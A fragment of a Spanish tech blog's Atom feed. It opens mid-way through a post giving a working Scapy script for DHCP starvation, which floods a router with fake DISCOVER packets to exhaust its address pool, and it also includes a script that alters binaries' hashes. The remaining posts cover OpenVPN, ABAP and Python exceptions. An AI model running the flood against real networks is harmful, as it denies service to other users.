&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Pondremos como victima el servidor DHCP de nuestro router wifi. Como sabréis un servidor DHCP se encarga de asignar a cada equipo que se conecta su configuración de red. Este va registrando las IP`s que han ido asignando a los diferentes equipos, para que nunca se repitan...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
...Bien lo que realmente ocurre es que cuando un equipo se conecta y tiene en su tarjeta de red activo el DHCP este envía un paquete Broadcast que el router interpreta y responde. Y que ocurriría si por algún casual simulamos miles de paquetes falsos para que nuestro router asigne como loco a cada uno de ellos una IP? pues que nos quedamos sin direcciones y nadie se podrá &quot;conectar&quot;. A no ser que se refresque la tabla, no se volverá a asignar nuevas direcciones. Eso si no petamos antes el router y colapsamos todo el tráfico.&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para el siguiente script como indica el titulo del post hay que tener la librería de Python Scapy ya instalada.&lt;/div&gt;
Y sin más lios aquí os lo paso:&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;#! /usr/bin/env python
import sys
from scapy.all import *

conf.checkIPaddr = False
dhcp_discover = Ether(src=RandMAC(),dst=&quot;ff:ff:ff:ff:ff:ff&quot;)/IP(src=&quot;0.0.0.0&quot;,dst=&quot;255.255.255.255&quot;)/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,&#39;0123456789abcdef&#39;))/DHCP(options=[(&quot;messagetype&quot;,&quot;discover&quot;),&quot;end&quot;])
sendp(dhcp_discover,loop=1)
&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Este pequeño script de apenas 3 lineas lo que hace es generar de forma aleatoria e infinita paquetes con direcciones MAC también aleatorias y los envía por el protocolo dhcp_discover. Así que antes de liarla pulsar CTRL&amp;nbsp;+ C.&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/6321592311842375088/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/08/de-risas-con-humor-y-scapy.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/6321592311842375088'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/6321592311842375088'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/08/de-risas-con-humor-y-scapy.html' title='De risas, con humor y Scapy'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-1368282797074607787</id><published>2013-05-10T11:00:00.000+02:00</published><updated>2013-05-10T11:00:02.920+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="configurar"/><category scheme="http://www.blogger.com/atom/ns#" term="iptables"/><category scheme="http://www.blogger.com/atom/ns#" term="openvpn"/><category scheme="http://www.blogger.com/atom/ns#" term="Raspberry Pi"/><category scheme="http://www.blogger.com/atom/ns#" term="servidor"/><title type='text'>servidor OpenVPN en tu Raspberry Pi</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Desde hace ya un tiempo&amp;nbsp;tuve&amp;nbsp;la necesidad de montar una VPN. Me decanté por OpenVPN ya que siempre he pensado que era de lo más completo, en lo referente a la seguridad pudiendo acceder mediante user/pass + fichero.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bueno pues... si haceis una simple busqueda en Google encontraremos manuales, algunos muy bien detallados y otros ... no tanto pero lo sorprendente que a todos ellos les funciona su servidor cosa que a mi nunca ha sido así. Siempre con problemas &quot;una de las interfaces no hace MASQUERADE&quot;, &quot;el paquete llega pero no pasa...&quot;, &quot;me he confundido de puerto, AIS!!&quot;, &quot;se conecta pero no navega...&quot; Bueno un sin fin de problemas y ninguna solución. Y me he encontrado en varias ocasiones en las que ni calcando el ejemplo del propio manual he conseguido resultados.&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Pues bien! hace unos días&amp;nbsp;después&amp;nbsp;de insistir en mil intentos&amp;nbsp;inútiles&amp;nbsp;me puse manos a la obra, pasando de manuales que ya me he leído&amp;nbsp;muchos y creo que ya se perfectamente que tengo que hacer. El problema que nunca conseguí resultados. Solo espero que esto no sea un manual más donde solo a mi me funciona y al resto del mundo no. Así que intentaré ser lo más claro en los detalles.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Un resumen de mi red.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;(Equipo externo)=&amp;gt; {INTERNET} &amp;lt;=&amp;gt; [RouterWifi] &amp;lt;=&amp;gt; |Raspberry Pi| &amp;lt;= (Equipo local)&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Por supuesto no falta decir que los equipos local y externo se conectan a la wifi. El local a la propia del router y el externo en la de un.... Starbucks para que sea molón el ejemplo. Y detalle importante OJO AL DATO la Raspberry Pi para el que no tenga una sólo tiene UNA interface&amp;nbsp;FÍSICA&amp;nbsp;de red ETH0. Ni una más ni una menos. Por supuesto en el router wifi tiene que estar abierto el puerto UDP 1194 o el que se configure en el servidor.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Como todos los manuales comenzamos.&lt;/div&gt;
&lt;pre class=&quot;brush:cpp&quot;&gt;
apt-get install openvpn openssl
posteriormente copiamos y nos movemos de directorio
cp -R /usr/share/doc/openvpn/examples/easy-rsa /etc/openvpn
cd /etc/openvpn/easy-rsa/2.0
Y comenzamos a crear los ficheros clave y certificados
. ./vars
./clean-all
./build-ca
./build-key-server server
Ahora generamos tantas claves de clientes cómo usuarios queramos
./build-key client-movil
./build-key client-movilPapa
./build-key client-pcMio
./build-key client-pcPapa
./build-key client-invitado
Cuando tengamos todas las claves de clientes que queramos lanzamos lo siguiente
./build-dh
BUFFF esto tarda mucho. Si has generado muchas claves, vete a tomar un café o a sacar al perro.

Cuando termine si aun sigues despierto, copiamos las claves necesarias en el servidor
cd /etc/openvpn/easy-rsa/2.0/keys
cp ca.crt ca.key dh1024.pem server.crt server.key /etc/openvpn
Copiamos los ficheros clave de cada cliente.
Lo guardamos en nuestra propia carpeta. Así que en mi caso me creo una carpeta
mkdir /home/endika/MisClavesVPN
y copio en ella
cp client*.crt, client*.key ca.crt /home/endika/MisClavesVPN
Recodar donde lo hemos copiado que necesitaremos los ficheros para conectar los clientes

Ahora copiamos el fichero de configuración del servidor que tiene openvpn por defecto
cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz /etc/openvpn
gunzip /etc/openvpn/server.conf.gz
y lo editamos para que concuerde con nuestra configuración
nano /etc/openvpn/server.conf
&lt;/pre&gt;
De ese fichero solo he modificado lo siguiente
modificar la IP local del servidor Raspberry Pi
&lt;pre class=&quot;brush:cpp&quot;&gt;
local 192.168.1.33 
&lt;/pre&gt;
El puerto si queremos modificarlo
&lt;pre class=&quot;brush:cpp&quot;&gt;
port 1194
&lt;/pre&gt;
El protocolo si queremos cambiar UDP por TCP
&lt;pre class=&quot;brush:cpp&quot;&gt;
proto UDP
&lt;/pre&gt;
La interface virtual si queremos modificar el nombre de TUN por TAP
&lt;pre class=&quot;brush:cpp&quot;&gt;
dev tun
&lt;/pre&gt;
La Red virtual de la VPN
&lt;pre class=&quot;brush:cpp&quot;&gt;
server 10.8.0.0 255.255.255.0
&lt;/pre&gt;
La Red local de nuestra wifi
&lt;pre class=&quot;brush:cpp&quot;&gt;
push &quot;route 192.168.1.0 255.255.255.0&quot;
&lt;/pre&gt;
Los servidores DNS si queremos poner alguno, por ejemplo los DNS de google
&lt;pre class=&quot;brush:cpp&quot;&gt;
push &quot;dhcp-option DNS 8.8.8.8&quot;
push &quot;dhcp-option DNS 8.8.4.4&quot;
&lt;/pre&gt;
Si os dais cuenta no tiene # ni un ; delante de la instrucción. Todo lo que lo tenga estará comentado y no surgirá efecto. Así es como queda mi fichero server.conf
&lt;pre class=&quot;brush:cpp&quot;&gt;
local 192.168.1.33
port 1194
proto udp
dev tun
ca ca.crt
cert server.crt
key server.key
dh dh1024.pem
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
push &quot;route 192.168.1.0 255.255.255.0&quot;
push &quot;dhcp-option DNS 8.8.8.8&quot;
push &quot;dhcp-option DNS 8.8.4.4&quot;
client-to-client
keepalive 10 120
comp-lzo
user nobody
user nogroup
persist-key
persist-tun
status openvpn-status.log
verb 3
&lt;/pre&gt;
Últimos detalles, vamos a permitir que nuestra máquina actúe como un router
&lt;pre class=&quot;brush:cpp&quot;&gt;
echo 1 &gt; /proc/sys/net/ipv4/conf/all/forwarding
&lt;/pre&gt;
Y lo más importante las reglas del IPTABLES
&lt;pre class=&quot;brush:cpp&quot;&gt;
#!/bin/bash
echo &quot;Limpiando IPTables&quot;
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X

echo &quot;Configurando las interfaces eth0 y tun0&quot;
iptables -A INPUT -i tun0 -j ACCEPT
iptables -A INPUT -i eth0 -j ACCEPT
iptables -I FORWARD -i eth0 -o tun0 -j ACCEPT
iptables -I FORWARD -i tun0 -o eth0 -j ACCEPT

iptables -A OUTPUT -m state --state NEW -o eth0 -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m state --state NEW -o eth0 -j ACCEPT
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE

echo &quot;para el resto de los casos aceptamos el tráfico&quot;
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
&lt;/pre&gt;
Revisar las reglas por si el nombre de las interfaces cambia o en el caso del masquerade por si la red no es la misma. Por otro lado las normas están echas para solo una ÚNICA interface de entrada y salida eth0.

Ya solo queda lanzar el servidor
&lt;pre class=&quot;brush:cpp&quot;&gt;
/etc/init.d/openvpn start
&lt;/pre&gt;
Para evitar que sea muy largo este post en la segunda parte configuraremos los clientes para que se conecten al servidor
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/1368282797074607787/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/05/servidor-openvpn-en-tu-raspberry-pi.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/1368282797074607787'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/1368282797074607787'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/05/servidor-openvpn-en-tu-raspberry-pi.html' title='servidor OpenVPN en tu Raspberry Pi'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300489 -4.3492371999999575 40.8035019 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-9111120842974606572</id><published>2013-05-06T17:30:00.000+02:00</published><updated>2013-05-06T17:30:01.884+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="binario"/><category scheme="http://www.blogger.com/atom/ns#" term="ficheros"/><category scheme="http://www.blogger.com/atom/ns#" term="hash"/><category scheme="http://www.blogger.com/atom/ns#" term="md5sum"/><category scheme="http://www.blogger.com/atom/ns#" term="modificar"/><category scheme="http://www.blogger.com/atom/ns#" term="Python"/><category scheme="http://www.blogger.com/atom/ns#" term="valor"/><title type='text'>modificar el valor del HASH en un fichero binario</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Cada vez que modificamos un fichero su HASH obtiene un valor distinto. Pero que ocurre si el fichero es un binario? pues exactamente lo mismo. Aquí&amp;nbsp;tenéis&amp;nbsp;un pequeño script donde podemos indicar el nombre de nuestro binario y nos crea uno nuevo con 100 caracteres aleatorios añadidos al final del mismo. Esto no&amp;nbsp;altera&amp;nbsp;el funcionamiento pero si el valor de su hash.&lt;/div&gt;
&lt;pre class=&quot;brush:python&quot;&gt;import sys,os,random

def bytes_aleatorio(n):
    return &quot;&quot;.join(chr(random.randrange(0,256)) for i in xrange(n))

nombre=str(sys.argv[1])
fichero=open(nombre,&#39;rb&#39;).read()
fichero_nuevo=fichero+bytes_aleatorio(100)
open(nombre+str(&quot;_new&quot;),&#39;wb&#39;).write(fichero_nuevo)
os.system(&quot;md5sum &quot;+nombre)
os.system(&quot;md5sum &quot;+nombre+&quot;_new&quot;)
&lt;/pre&gt;
y su uso:&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;python modificarHash.py NombreFicheroBinario
&lt;/pre&gt;
y PUM!! el &quot;mismo&quot; fichero con un hash diferente.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/9111120842974606572/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/05/modificar-el-valor-del-hash-en-un.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/9111120842974606572'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/9111120842974606572'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/05/modificar-el-valor-del-hash-en-un.html' title='modificar el valor del HASH en un fichero binario'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300519 -4.3492371999999575 40.8034989 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-2299758388424799986</id><published>2013-04-30T13:00:00.000+02:00</published><updated>2013-04-30T13:01:53.805+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ABAP"/><category scheme="http://www.blogger.com/atom/ns#" term="RECURSIVIDAD"/><category scheme="http://www.blogger.com/atom/ns#" term="recursos"/><category scheme="http://www.blogger.com/atom/ns#" term="SAP"/><category scheme="http://www.blogger.com/atom/ns#" term="WHILE"/><title type='text'>SAP ABAP: Recursividad VS ejecución lineal</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Realizando pruebas para ver si es viable el uso de la recursividad en SAP. Me encuentro con el siguiente resultado que os mostraré a continuación.&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Para realizar la prueba ejecuto el siguiente programa muy sencillo y creo que&amp;nbsp;fácilmente&amp;nbsp;comprensible. Bien según mis experiencias anteriores sobre la ejecución de métodos recursivos frente a los que no lo son, me dice la experiencia que la recursividad gana en la mayoría de los casos. Y claro d&lt;span style=&quot;text-align: left;&quot;&gt;entro de la burbuja del mundo SAP, yo creía que un sistema donde se ejecuta en máquinas &quot;BRUTALES&quot; la&amp;nbsp;recursividad&amp;nbsp;sería perfecto para no derrochar recursos. Así que comienzo a ejecutar lo siguiente:&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:vb&quot;&gt;DATA: lv_total  TYPE i VALUE 0,
      lv_aux    TYPE i,
      lv_inicio TYPE i,
      lv_fin    TYPE i,
      operador  TYPE i VALUE 1000.

PARAMETER lp_suma TYPE i DEFAULT 9999.

START-OF-SELECTION.

  lv_aux = lp_suma. &quot;Almacenamos el valor
  GET RUN TIME FIELD lv_inicio.
* Metodo con secursividad --------------------------------------------------------

  PERFORM suma USING lp_suma lv_total.

*  -------------------------------------------------------------------------------
  GET RUN TIME FIELD lv_fin.
  lv_fin = ( lv_fin - lv_inicio ) / operador.
  WRITE: / &#39;(RECURSIVO) tiempo de respuesta: &#39;, lv_fin , &#39; milisegundos&#39;.
* ---------------------------------------------------------------------------------
* ---------------------------------------------------------------------------------
  WRITE: /.
  WRITE: /.
* ---------------------------------------------------------------------------------
* ---------------------------------------------------------------------------------
  lp_suma = lv_aux. &quot;cargamos su valor
  lv_aux = lv_fin.
  lv_total = 0.
  GET RUN TIME FIELD lv_inicio.
* Metodo sin secursividad --------------------------------------------------------

  WHILE lp_suma &amp;gt; 0.
    lv_total = lv_total + lp_suma.
    lp_suma = lp_suma - 1.
  ENDWHILE.
  WRITE: &#39;resultado &#39;, lv_total.

* --------------------------------------------------------------------------------
  GET RUN TIME FIELD lv_fin.
  lv_fin = ( lv_fin - lv_inicio ) / operador.
  WRITE: / &#39;(NO RECURSIVO) tiempo de respuesta: &#39;, lv_fin , &#39; milisegundos&#39;.

  WRITE: /.
  WRITE: /.
  IF lv_aux &amp;lt; lv_fin.
    WRITE: / &#39;La recursividad es la mejor solución&#39;.
  ELSEIF lv_aux = lv_fin.
    WRITE: / &#39;EMPATE!!!!&#39;.
  ELSE.
    WRITE: / &#39;El while es la mejor solución&#39;.
  ENDIF.

FORM suma USING lv_suma TYPE i
                lv_total TYPE i.

  IF lv_suma GT 0.
    lv_total = lv_total + lv_suma.
    lv_suma = lv_suma - 1.
    PERFORM suma USING lv_suma lv_total.
  ELSE.
    WRITE: &#39;resultado &#39;, lv_total.
  ENDIF.

ENDFORM.
&lt;/pre&gt;
&lt;br /&gt;
El programa ejecuta inicialmente una función recursiva y seguido ejecuta el mismo proceso sin aplicar recursividad. Finalmente en la pantalla muestra el resultado de la operación junto con los milisegundos que ha durado ambas. Y para mi sorpresa me encuentro lo siguiente:&lt;br /&gt;
&lt;pre class=&quot;brush:vb&quot;&gt;resultado  49.995.000
(RECURSIVO) tiempo de respuesta:          49   milisegundos


resultado  49.995.000
(NO RECURSIVO) tiempo de respuesta:          24   milisegundos


El while es la mejor solución
&lt;/pre&gt;
Bueno para mi&amp;nbsp;desgracia la&amp;nbsp;recursividad&amp;nbsp;no es una solución.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/2299758388424799986/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/04/sap-abap-recursividad-vs-ejecucion.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/2299758388424799986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/2299758388424799986'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/04/sap-abap-recursividad-vs-ejecucion.html' title='SAP ABAP: Recursividad VS ejecución lineal'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300519 -4.3492371999999575 40.8034989 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-7855596292389474812</id><published>2013-04-25T13:45:00.000+02:00</published><updated>2013-04-25T13:45:28.227+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="clases"/><category scheme="http://www.blogger.com/atom/ns#" term="crear excepciones"/><category scheme="http://www.blogger.com/atom/ns#" term="ejecutar excepciones"/><category scheme="http://www.blogger.com/atom/ns#" term="excepciones"/><category scheme="http://www.blogger.com/atom/ns#" term="Python"/><category scheme="http://www.blogger.com/atom/ns#" term="raiser"/><title type='text'>Python excepciones, profundizando mucho más</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Vale muy bien, &lt;a href=&quot;http://optimizarsinmas.blogspot.com.es/2013/04/python-excepciones-como-se-usan.html&quot;&gt;ya sabemos cómo se usan los try&lt;/a&gt;. Pero..... no está mal saber que clases de excepciones&amp;nbsp;estándar&amp;nbsp;tenemos disponibles. Os paso un diagrama en árbol de las excepciones estándar más comunes. La más&amp;nbsp;genérica&amp;nbsp;es &lt;b&gt;exception &lt;/b&gt;pero si queremos realizar diferentes tratamientos no estaría mal saber algunas más.&lt;/div&gt;
&lt;blockquote&gt;
&lt;pre&gt;Exception(*)
 |
 +-- SystemExit
 +-- StandardError(*)
      |
      +-- KeyboardInterrupt
      +-- ImportError
      +-- EnvironmentError(*)
      |    |
      |    +-- IOError
      |    +-- OSError(*)
      |
      +-- EOFError
      +-- RuntimeError
      |    |
      |    +-- NotImplementedError(*)
      |
      +-- NameError
      +-- AttributeError
      +-- SyntaxError
      +-- TypeError
      +-- AssertionError
      +-- LookupError(*)
      |    |
      |    +-- IndexError
      |    +-- KeyError
      |
      +-- ArithmeticError(*)
      |    |
      |    +-- OverflowError
      |    +-- ZeroDivisionError
      |    +-- FloatingPointError
      |
      +-- ValueError
      +-- SystemError
      +-- MemoryError&lt;/pre&gt;
&lt;/blockquote&gt;
Un ejemplo de su uso&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;parsed = False
while not parsed:
    try:
        x = int(raw_input(&#39;Mete el primer valor: &#39;))
        y = int(raw_input(&#39;Mete el segundo valor: &#39;))
        result= x/y
    except ValueError:
        print &#39;Numero introducido erroneo!!!&#39;
    except ZeroDivisionError:
        print &quot;dividir por CERO!! LOKO!!&quot;
    else:
        parsed = True
        print &quot;resultado: &quot;, result
&lt;/pre&gt;
Si queremos provocar la ejecución de una excepción podemos usar raiser.
&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;try:
    raise Exception()
except:
    print &quot;ERROR: &quot;, sys.exc_type + &quot;:&quot;, sys.exc_value
&lt;/pre&gt;
Por último nos crearemos nuestra propia excepción.
&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;class MyPropioError(Exception):
    def __init__(self, value):
        self.value = value
    def __str__(self):
        return repr(self.value)

try:
    raise MyPropioError(&quot;Algo muy gordo a pasado&quot;)
except MyPropioError, e:
    print &#39;Se ha ejecutado, value:&#39;, e.value
&lt;/pre&gt;
Esto mostrará el texto &quot;Algo muy gordo a pasado&quot;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/7855596292389474812/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/04/python-excepciones-profundizando-mucho.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/7855596292389474812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/7855596292389474812'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/04/python-excepciones-profundizando-mucho.html' title='Python excepciones, profundizando mucho más'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300489 -4.3492371999999575 40.8035019 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-4117404546932682536</id><published>2013-04-25T13:00:00.000+02:00</published><updated>2013-04-25T13:00:00.639+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="errores"/><category scheme="http://www.blogger.com/atom/ns#" term="excepciones"/><category scheme="http://www.blogger.com/atom/ns#" term="Python"/><category scheme="http://www.blogger.com/atom/ns#" term="try"/><title type='text'>Python excepciones, cómo se usan</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
La estructura de un try en python es la siguiente:&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;try:
    Sentencias que podrán dar a posible error
except IdentificarError:
    Que ejecutamos cuando se produce el error
finally:
    Sentencias que se ejecutan siempre. Exista o no el error
else:
    Sentencias que ejecutamos en caso de no existir el error
&lt;/pre&gt;
&lt;div&gt;
Os muestro un ejemplo clásico de la división por 0&lt;/div&gt;
&lt;pre class=&quot;brush:python&quot;&gt;try:
   result = 10 / 0
 except ZeroDivisionError:
      print &quot;dividir por CERO!! LOKO!!&quot;
 else:
      print &quot;resultado: &quot;, result
&lt;/pre&gt;
Si quereis entrar en más detalle. Os recomiendo &lt;a href=&quot;http://docs.python.org/2/tutorial/errors.html&quot;&gt;Python - Errors and Exceptions&lt;/a&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/4117404546932682536/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/04/python-excepciones-como-se-usan.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/4117404546932682536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/4117404546932682536'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/04/python-excepciones-como-se-usan.html' title='Python excepciones, cómo se usan'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300489 -4.3492371999999575 40.8035019 -3.0583431999999577</georss:box></entry></feed>